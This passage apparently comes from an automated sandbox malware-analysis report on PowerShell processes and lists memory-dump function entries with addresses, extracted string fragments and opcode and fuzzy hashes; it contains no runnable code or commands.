Source File: 00000002.00000002.1458177953.00007FF88B5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b5a0000_powershell.jbxd

Similarity

API ID:
String ID: 6/$ bs$0xs
API String ID: 0-711104142
Opcode ID: 2bb124ee85693eac24566ef570d0559088a39b85562fd0e1f52c44d1df37022f
Instruction ID: 933eaf83f9064baefc0ba4563c2690d57554c076e2986739a9e63fb33b649570
Opcode Fuzzy Hash: 2bb124ee85693eac24566ef570d0559088a39b85562fd0e1f52c44d1df37022f
Instruction Fuzzy Hash: A6E12722E0DE8A4FE79A962C5C552B57BD1FF966A0B0801FBD04DD71E3ED18AC05C782

Function 00007FF88B750B01 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

h7Vs, xrefs: 00007FF88B750B71
bs, xrefs: 00007FF88B750CF5
x)t, xrefs: 00007FF88B750B5C

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: bs$h7Vs$x)t
API String ID: 0-1974588430
Opcode ID: 3f7d49c3b89a3dd2b994d4634377b990793d52054cda2b485804a62b20a115de
Instruction ID: 8b27ee76b0e7db1c70b8e1bf24f8d42f2222bcd8ae144a2b12835acc5923bfa7
Opcode Fuzzy Hash: 3f7d49c3b89a3dd2b994d4634377b990793d52054cda2b485804a62b20a115de
Instruction Fuzzy Hash: 3091F321D0DB8A8FE796A72858552B47BE1FF82394B0901FAD08DC71B3ED18AC16C342

Function 00007FF88B5A2859 Relevance: 2.9, Strings: 2, Instructions: 446COMMON

Download Yara Rule

Strings

bs, xrefs: 00007FF88B5A294A
*, xrefs: 00007FF88B5A2BC0

Memory Dump Source

Source File: 00000002.00000002.1458177953.00007FF88B5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b5a0000_powershell.jbxd

Similarity

API ID:
String ID: bs$*
API String ID: 0-93049965
Opcode ID: 00d49a79886267e569995a318912982c4e35b311d2f13a1c0e07493fa95dac54
Instruction ID: 22f4a63c595d34bf4efa6de742271158a4346f34e75900576349f8893fd1acb8
Opcode Fuzzy Hash: 00d49a79886267e569995a318912982c4e35b311d2f13a1c0e07493fa95dac54
Instruction Fuzzy Hash: B1D1F322D0DACA4FE7A69B784C669787BE1FF96690B0801FEC04DD70E3D91A9C45C352

Function 00007FF88B751F29 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

6/, xrefs: 00007FF88B751FE3
jv, xrefs: 00007FF88B751FCC

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: 6/$jv
API String ID: 0-3873265809
Opcode ID: 0fcdf7764ac3573961ee260fa0b67292e0b727065703c5ffe3a64e57ededeed4
Instruction ID: 2da08d540c53fb89910f94335d97e0c03725b12699d207bb207c16218392aad7
Opcode Fuzzy Hash: 0fcdf7764ac3573961ee260fa0b67292e0b727065703c5ffe3a64e57ededeed4
Instruction Fuzzy Hash: 8E51A132E0EB858FE759AA6858552B87BE1FF95790F0804FED04D871E3DE286C49C742

Function 00007FF88B752739 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

6/, xrefs: 00007FF88B7527F3
jv, xrefs: 00007FF88B7527DC

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: 6/$jv
API String ID: 0-3873265809
Opcode ID: d030cb030cbd76a564b2b24bcc70999562d9c70dc54d1ddf2bcede9cde2265cd
Instruction ID: 90a5782bb7d581875e2d182fdd79edc51404b3173d2f75c0c5931cfbb50107d2
Opcode Fuzzy Hash: d030cb030cbd76a564b2b24bcc70999562d9c70dc54d1ddf2bcede9cde2265cd
Instruction Fuzzy Hash: E461C132E1DB854FE759EA6858552B8BBE1FF95790F0804FEC04D971E3CE28A845C782

Function 00007FF88B7512B9 Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

6/, xrefs: 00007FF88B751373
jv, xrefs: 00007FF88B75135C

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: 6/$jv
API String ID: 0-3873265809
Opcode ID: cf271591bdc286853c958271ac473676bb72d4b3ca9691922c89f36a8ae40066
Instruction ID: 6adca5b4062174c4075fbd6ce5ca34c5e3eefe621e01c107199c836ddf355459
Opcode Fuzzy Hash: cf271591bdc286853c958271ac473676bb72d4b3ca9691922c89f36a8ae40066
Instruction Fuzzy Hash: 7751DE32E0DB854FE759AA6858652B97BE2FF95690F0800FEC04DC71E3DE286845C742

Function 00007FF88B75129B Relevance: 2.7, Strings: 2, Instructions: 170COMMON

Download Yara Rule

Strings

6/, xrefs: 00007FF88B751373
jv, xrefs: 00007FF88B75135C

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: 6/$jv
API String ID: 0-3873265809
Opcode ID: 24f109f823985c217de00259e7f5a661995c8fa33461404991664a906d5676b4
Instruction ID: 9ea863bb3362761fe337152cfeb68d916dbea5248ff91c74a8f8a30ea04905ac
Opcode Fuzzy Hash: 24f109f823985c217de00259e7f5a661995c8fa33461404991664a906d5676b4
Instruction Fuzzy Hash: 3A51D232E0DB864BE755AA6858652B97BE2FF95760F0801FAC04DC75E3DE286C45C382

Function 00007FF88B4D68A9 Relevance: 2.0, Strings: 1, Instructions: 784COMMON

Download Yara Rule

Strings

6/, xrefs: 00007FF88B4DED9C

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID: 6/
API String ID: 0-2992282192
Opcode ID: 6d5df1b255f23039b763ef5f094b68bbb3889a478ed17ab2f7956f448778b9ff
Instruction ID: 3b87a5606afc4c20e2ec99c699f0abb3968104a53804239982d618947fe13e35
Opcode Fuzzy Hash: 6d5df1b255f23039b763ef5f094b68bbb3889a478ed17ab2f7956f448778b9ff
Instruction Fuzzy Hash: 1E429430A18A898FDF98EF5CC495AE97BE1FF98350F1401BAD01DD7296CA35E841CB81

Function 00007FF88B5A6F4A Relevance: 1.7, Strings: 1, Instructions: 452COMMON

Download Yara Rule

Strings

bs, xrefs: 00007FF88B5A6FE7

Memory Dump Source

Source File: 00000002.00000002.1458177953.00007FF88B5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b5a0000_powershell.jbxd

Similarity

API ID:
String ID: bs
API String ID: 0-1478845713
Opcode ID: 0879d6ec62aded933c028a4df60649a2cce8798e7b89b8a34d1b7278b04e8302
Instruction ID: 509ca66fce9e8d3d7d8b0f8c22c1800a5f4758eb7381abdfa3de8c9e3521923c
Opcode Fuzzy Hash: 0879d6ec62aded933c028a4df60649a2cce8798e7b89b8a34d1b7278b04e8302
Instruction Fuzzy Hash: 6AD12532D0EA8A4FE796AA784C156B57FD1FF95B90F1800FAD04CD71A3DA18AC05C792

Function 00007FF88B4D42B5 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5879ba62f7752afc41e7cc86800c12cfc361a581cf2746d25a2c60e2957d14e2
Instruction ID: 4333a5079958727d4ba2e18f0454a19f2d6e05697bd8c79fdb2b031758554148
Opcode Fuzzy Hash: 5879ba62f7752afc41e7cc86800c12cfc361a581cf2746d25a2c60e2957d14e2
Instruction Fuzzy Hash: E1E1E63090CA8A4FE795DF28C8667A97BE1FF95390F1841BED48DC72A3DA34A845C741

Function 00007FF88B4DC2BE Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d4efa814d8569ea9bc7b6016063ee494054f3dcdb935d414b540757ff6a0c8
Instruction ID: 57902bd34f6304ce22706d9e6a040a1d93b4ece2dad78c58d9ac21fd84a8a62d
Opcode Fuzzy Hash: a0d4efa814d8569ea9bc7b6016063ee494054f3dcdb935d414b540757ff6a0c8
Instruction Fuzzy Hash: FDD15330918A8D8FEBA8DF28C8567E977D1FF98340F44426AD84DC7292CF749944CB82

Function 00007FF88B4DD46E Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23379d15231efac2ce3006160f7bb768baabbe5aed27783a4ae0130f343f447d
Instruction ID: cc1e75780f445174c27bec945700a74c986281870496880d25c8945edfa51364
Opcode Fuzzy Hash: 23379d15231efac2ce3006160f7bb768baabbe5aed27783a4ae0130f343f447d
Instruction Fuzzy Hash: FFD16330A18A8D8FEBA8DF28C8567E977D1FF98341F14426ED80DC7295CE759944CB82

Function 00007FF88B4DC2B9 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b0214295a8d31aab3213964f83110d4f804d9aeb74e87d1a5ed44251998f1a
Instruction ID: fb9db341c5f38293bf73afb93a61e2528a941b485d175bedd80756d51865ed45
Opcode Fuzzy Hash: e7b0214295a8d31aab3213964f83110d4f804d9aeb74e87d1a5ed44251998f1a
Instruction Fuzzy Hash: 4AD16330A18A8D8FEBA8DF28C8567E977D1FF94340F44426AD84DC7296CF749944CB82

Function 00007FF88B4DD07E Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd482352c9a831f81dd557c1701dd8b0b2f2c6d83528897e65bd53988e2778fa
Instruction ID: 477e15b2df41a7579cc857147ac530350385785c45f5099050f7f0770913faa2
Opcode Fuzzy Hash: cd482352c9a831f81dd557c1701dd8b0b2f2c6d83528897e65bd53988e2778fa
Instruction Fuzzy Hash: 98917230A08A4D8FEBA8EF28D4567E937D1FF58350F14426EE84DC7296CE749945CB82

Function 00007FF88B4DD079 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 374062680f05557074550e1cf34a24852ef144893d667f88c16a0916ef5f65ec
Instruction ID: 6afef2e40dc20cdc4cd4fd2cd934fee8657c59b9d6f8ac420702b7442a3e5714
Opcode Fuzzy Hash: 374062680f05557074550e1cf34a24852ef144893d667f88c16a0916ef5f65ec
Instruction Fuzzy Hash: 23817430608A4D8FEBA8DF28D4567F937D1FF98340F14426EE84DC7296CA799945CB82

Function 00007FF88B7521FA Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f1013dba13de3325d253ceed50fc58908bcebac373668edbf61aba339145ca
Instruction ID: 3f9b354ce582d8355bdf8723bf20512124121f0d29f17579da5b7b5a01c91e21
Opcode Fuzzy Hash: b3f1013dba13de3325d253ceed50fc58908bcebac373668edbf61aba339145ca
Instruction Fuzzy Hash: 5361B43190DBC94FE796AB7858515B97FE0FF96261B0901FBC048CB1B3DA186D4AC392

Function 00007FF88B751A38 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e58a46bf13189b795e3559647a241d19a37a0ef6ccc2ad559aef09171bb12a
Instruction ID: 6c806bb7eb7f17370ea61a6de04b3ddc5c075fbad84f8e65ab12eb88d888235e
Opcode Fuzzy Hash: c0e58a46bf13189b795e3559647a241d19a37a0ef6ccc2ad559aef09171bb12a
Instruction Fuzzy Hash: CB51D832E0DB8A4FEB96AA7854505B57BE1FF95791B0800FBC04DC75B3DA18AC46C382

Function 00007FF88B7527FC Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d64cf3238556ebca4d598bbb4c568eca2f27e3898aa3211ecbc71648effdaed0
Instruction ID: 85a6e05285db13e92060f12ebc11c8d289d9f8fcd0d8b6299ccec784777599ae
Opcode Fuzzy Hash: d64cf3238556ebca4d598bbb4c568eca2f27e3898aa3211ecbc71648effdaed0
Instruction Fuzzy Hash: FD31B522E1DBC54FE359A6B858552A87BD1FF95660F1801FAC04CD71E3DE1CA8498782

Function 00007FF88B751FEC Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa7098d33b0bc28510d1efa3cc32f63165cf233b2cccb9b5225706e85c8c6412
Instruction ID: c35f7c22fd8698d5dc21229c96a8f1078cd84a918ed26db615ba5af021a3b8eb
Opcode Fuzzy Hash: aa7098d33b0bc28510d1efa3cc32f63165cf233b2cccb9b5225706e85c8c6412
Instruction Fuzzy Hash: 2631A362E0EBC54BE355AA78585526C7BD2FF96660F1805FAC04CC71E3DD186C49C392

Function 00007FF88B5A297C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1458177953.00007FF88B5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b5a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d570c1f96c45a250ad68caae4d4ad24c02fb1aa43645d93815516b59b10f127
Instruction ID: ac82b113e6b6184da9b9a42679520f6e1561946a993f8f652950cb72dc776a02
Opcode Fuzzy Hash: 8d570c1f96c45a250ad68caae4d4ad24c02fb1aa43645d93815516b59b10f127
Instruction Fuzzy Hash: 1631E622D1EAC74FF3A5A6681D5657C6AC1FF95AD0F4810B9C40DE70E3DD0E5C41C286

Function 00007FF88B4DC704 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 125ef4294e34f23e553057b8985791dd1c608b1a5f5fdc7c4863d1e24e5b9210
Instruction ID: e9886a4c94642bd23dc36a3d8a38add5a331664c8234a51fdccedd7d893bbc62
Opcode Fuzzy Hash: 125ef4294e34f23e553057b8985791dd1c608b1a5f5fdc7c4863d1e24e5b9210
Instruction Fuzzy Hash: 9A31213081958E8EFBB4AF19CC0ABF93291FF85395F440179D44D871A3DB786989CB11

Function 00007FF88B750F7D Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af3ba61ef9f650c49aa9626fe09440b53b4a972531c93d7c26e63e3663c09ac8
Instruction ID: bc2bd489ab741f9a661db4b346cc21b2ad862583e2fdb2d1ac96b72c7940cb10
Opcode Fuzzy Hash: af3ba61ef9f650c49aa9626fe09440b53b4a972531c93d7c26e63e3663c09ac8
Instruction Fuzzy Hash: 3911C12190EFC68FE796F6785C51965BBD1FF966A071805FAC089CB1F3D908AC44C392

Function 00007FF88B4D3A45 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: dfa19c03feaf3af1998893ab60a173c8660ef38a62a60d2827eee6f64443493b
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 9401A73010CB0C4FD744EF0CE051AA5B3E0FB85364F10056DE58AC3661DA36E881CB46

Non-executed Functions

Function 00007FF88B75246A Relevance: 1.6, Strings: 1, Instructions: 358COMMON

Download Yara Rule

Strings

jv, xrefs: 00007FF88B752691

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: jv
API String ID: 0-2791222577
Opcode ID: 1e6e417aa1975f8107c6872d370b9cd5abf9a38da2669cf7d2c5e37f7b42336f
Instruction ID: fde190ab89d59578277d66d110c24d0f5b833d2c0eecf2fdcbfee987c9df5be2
Opcode Fuzzy Hash: 1e6e417aa1975f8107c6872d370b9cd5abf9a38da2669cf7d2c5e37f7b42336f
Instruction Fuzzy Hash: 74C1E72290EBC54FE796A77888152797FE1EF86660B1901FBC08DCB1F3D919AC46C352

Function 00007FF88B4D092D Relevance: 8.9, Strings: 7, Instructions: 189COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FF88B4D89C9
M_^, xrefs: 00007FF88B4D896A
M_^, xrefs: 00007FF88B4D88AA
M_^, xrefs: 00007FF88B4D892A
M_^, xrefs: 00007FF88B4D897A
M_^, xrefs: 00007FF88B4D88C9
M_^, xrefs: 00007FF88B4D891A

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^$M_^$M_^
API String ID: 0-3904786266
Opcode ID: 5721ca727572699040e6bb08de6288b81b9f44cc5a829dffc47535402a8e78eb
Instruction ID: 41c0adfe2bb4d0d6ee609ba2de7a0f7811ab969fb86203eeb4e65a68f4d3ccf8
Opcode Fuzzy Hash: 5721ca727572699040e6bb08de6288b81b9f44cc5a829dffc47535402a8e78eb
Instruction Fuzzy Hash: B061A5E2E0EAC79EFA575618589B1743BA0FFA27D4B4D01F6D0998B0E3ED092417C216

Function 00007FF88B4D044D Relevance: 7.6, Strings: 6, Instructions: 89COMMON

Download Yara Rule

Strings

-L, xrefs: 00007FF88B4D04F1
/L, xrefs: 00007FF88B4D0469
(0L, xrefs: 00007FF88B4D04D1
8,L, xrefs: 00007FF88B4D04B1
p0L, xrefs: 00007FF88B4D0491
P/L, xrefs: 00007FF88B4D04A1

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID: (0L$8,L$P/L$p0L$-L$/L
API String ID: 0-3208318074
Opcode ID: 228a690eeca87157d4e53f970fe5cb3af49c0024d21ce0513c6ccb300ce8145e
Instruction ID: a685f6e2c122f957673060cd83a1c95c42162c8497661ff770d82d952b1d33d2
Opcode Fuzzy Hash: 228a690eeca87157d4e53f970fe5cb3af49c0024d21ce0513c6ccb300ce8145e
Instruction Fuzzy Hash: CD31A252D0E7D14FE3278A6828361796FA0BF9265071C00FFC4888B2FFD8999C09C392

Function 00007FF88B4D88FA Relevance: 6.4, Strings: 5, Instructions: 106COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FF88B4D89C9
M_^, xrefs: 00007FF88B4D896A
M_^, xrefs: 00007FF88B4D892A
M_^, xrefs: 00007FF88B4D897A
M_^, xrefs: 00007FF88B4D88FA

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: c696d5d4545fb540d4bafb2362e2af0c05ad1a08f99095de1f49f76da76ad4b5
Instruction ID: cac03c59f9655a62d09a8e509f6b54bb29df0d8c81ec988c73068efc01d23849
Opcode Fuzzy Hash: c696d5d4545fb540d4bafb2362e2af0c05ad1a08f99095de1f49f76da76ad4b5
Instruction Fuzzy Hash: 45316FE2E0EAD29AFA564619589F2B02BA0FFB17D4B4D01F2D0C94B0E7FD092413C217

Function 00007FF88B4D8632 Relevance: 5.3, Strings: 4, Instructions: 272COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FF88B4D876A
M_^, xrefs: 00007FF88B4D86C9
M_^, xrefs: 00007FF88B4D866A
M_^, xrefs: 00007FF88B4D872A

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^
API String ID: 0-1397233021
Opcode ID: 06e7b689c0c88139d00ea589ec6fb00558d6da40685969e14277f9bd8aef5873
Instruction ID: 98770ea886883ec3172e7e990f299c5b0e48d5a689a0027e2873f836a55c7788
Opcode Fuzzy Hash: 06e7b689c0c88139d00ea589ec6fb00558d6da40685969e14277f9bd8aef5873
Instruction Fuzzy Hash: 91913DA2D0E6C25FE71356786C6A0B57FA0BF937A4B0D01F7C0D98B0E3E9192806D356

Analysis Process: powershell.exePID: 5328, Parent PID: 496COMMON

Executed Functions

Function 0722ACB0 Relevance: 1.2, Instructions: 1154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7b81ceea16deb7809c6d307d8626fa577987ec2ffe951f85a0945d276a602ee
Instruction ID: 0cc47a12b96b547750b40556fc7818744f058282097f8119a428d4c8eae73bf4
Opcode Fuzzy Hash: f7b81ceea16deb7809c6d307d8626fa577987ec2ffe951f85a0945d276a602ee
Instruction Fuzzy Hash: DA92CAB0B20216DFDB24DB68C850BAEBBB2EF85310F14C0AAD5059B751DB35DD82DB61

Function 07223EC0 Relevance: .6, Instructions: 583COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83e708d8c40cb96e8c7995f1a29f8b382b6930a6e55e41bdc49ebe43640db4c2
Instruction ID: 24dfba4e1514d6bfc6e06f0205f6d3a144527ed5a8ffa5ef6331f122832adfba
Opcode Fuzzy Hash: 83e708d8c40cb96e8c7995f1a29f8b382b6930a6e55e41bdc49ebe43640db4c2
Instruction Fuzzy Hash: E8127AB17243A6AFCB15AB6888017AABBA2EFC1310F14C07AD545DB341DB75CD43C7A2

Function 072282D8 Relevance: .5, Instructions: 517COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e4c9d3d1a838b7d765cdcea443180a76f26ecc652372ce949aea69b39c33604
Instruction ID: 5db6d0386cb280c75ac923cb5f322cb79a64eb41433fa16c1f03491ed75d094b
Opcode Fuzzy Hash: 9e4c9d3d1a838b7d765cdcea443180a76f26ecc652372ce949aea69b39c33604
Instruction Fuzzy Hash: B4226DB4B10215EFDB04DB98C441EAEBBB2AF88304F14C059E905AF756CB76ED42CB91

Function 07222158 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 091c34c1b17b9603811246a8476e76d4ecd42c825971fccd630270f7d6d9b002
Instruction ID: 9ddab9361dd7396b61845db460a076256d9d037bfbc30e92534c5b78c82b449f
Opcode Fuzzy Hash: 091c34c1b17b9603811246a8476e76d4ecd42c825971fccd630270f7d6d9b002
Instruction Fuzzy Hash: 4F0281B0B20216EFD714DB98C850AAABBE2FF89310F15C159E905AF751CB72DC42DB91

Function 072282B8 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d582f29d2ec35050f769cbaadfdfa44b0b828310d4d5281d50e1ac02c57ae67
Instruction ID: dfd8fe105c05e756a1213e1b478135cb010d6463624a03a8759fb55a696c71f2
Opcode Fuzzy Hash: 7d582f29d2ec35050f769cbaadfdfa44b0b828310d4d5281d50e1ac02c57ae67
Instruction Fuzzy Hash: B9126CB4A21215EFDB04CB98C481EA9BBB2FF88304F15C459E9059B396CB76ED42CF51

Function 0722B32B Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de37b1e6200a9b230e17a6db1647d4378f3f3694270fa15e3439f8769b7b5dcb
